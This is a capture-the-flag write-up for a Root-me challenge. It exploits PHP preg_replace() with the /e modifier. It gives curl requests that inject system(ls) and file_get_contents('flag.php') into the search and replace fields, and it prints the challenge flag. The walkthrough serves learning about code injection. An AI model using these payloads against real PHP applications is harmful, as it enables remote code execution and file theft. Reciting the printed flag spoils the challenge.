Root-me.org

PHP preg_replace()

e modifier

Another php challenge. This time we’re playing around with preg_replace(). The title gives us a hint by saying the “e modifier”. Our goal is to read flag.php.

Once we load the challenge page, we’re welcome by a page with 3 input boxes.

The regex evaluator has 3 input boxes, the first one is the field that is looked by the program, the second contains the value that will replace what the first field was looking for and the last one is the string where the regex replacement happens.

The following page gives us an idea of how we can abuse this.

http://www.madirish.net/402

Our first field will contains this: /^(.*)/e which basically says search for everything from the beginning of the string. Note that there’s the e modifier.

To quote de previous page that i linked " The preg_replace function, when used with the /e modifier and supplied with a PHP function extends the functionality of the replace to allow a callback "

So everything that we will replace will be execute it by php. So the obvious calls that we can use are system, exec, shell_exec.

Let’s try one of them. I’ll be using curl for the sake of not having to put screenshots in this page.

 curl -X $'POST' --data-binary $'search=%2F%5E%28.*%29%2Fe&replace=system%28ls%29&content=yoyo'     $'http://challenge01.root-me.org/web-serveur/ch37/index.php'
<html>
<head><title>Regex evaluator</title></head>
<body>

...

Warning: system() has been disabled for security reasons in /challenge/web-serveur/ch37/index.php(25) : regexp code on line 1

We get a warning saying that system() has been disabled. If we try the other one we’ll be getting the same error.

So we know that it knows how to execute php code. We’ll be using a function that knows how to read the content of a file instead. In our case we’ll use file_get_contents, we know that the file that we need to read is flag.php so let’s try to read it.

 curl -X $'POST' --data-binary $'search=%2F%5E%28.*%29%2Fe&replace=file_get_contents%28"flag.php"%29&content=yoyo'     $'http://challenge01.root-me.org/web-serveur/ch37/index.php'
<html>
<head><title>Regex evaluator</title></head>
<body>

...

&lt;?php

$flag=&quot;pr3g_r3pl4c3_3_m0d1f13r_styl3&quot;;

We got the flag.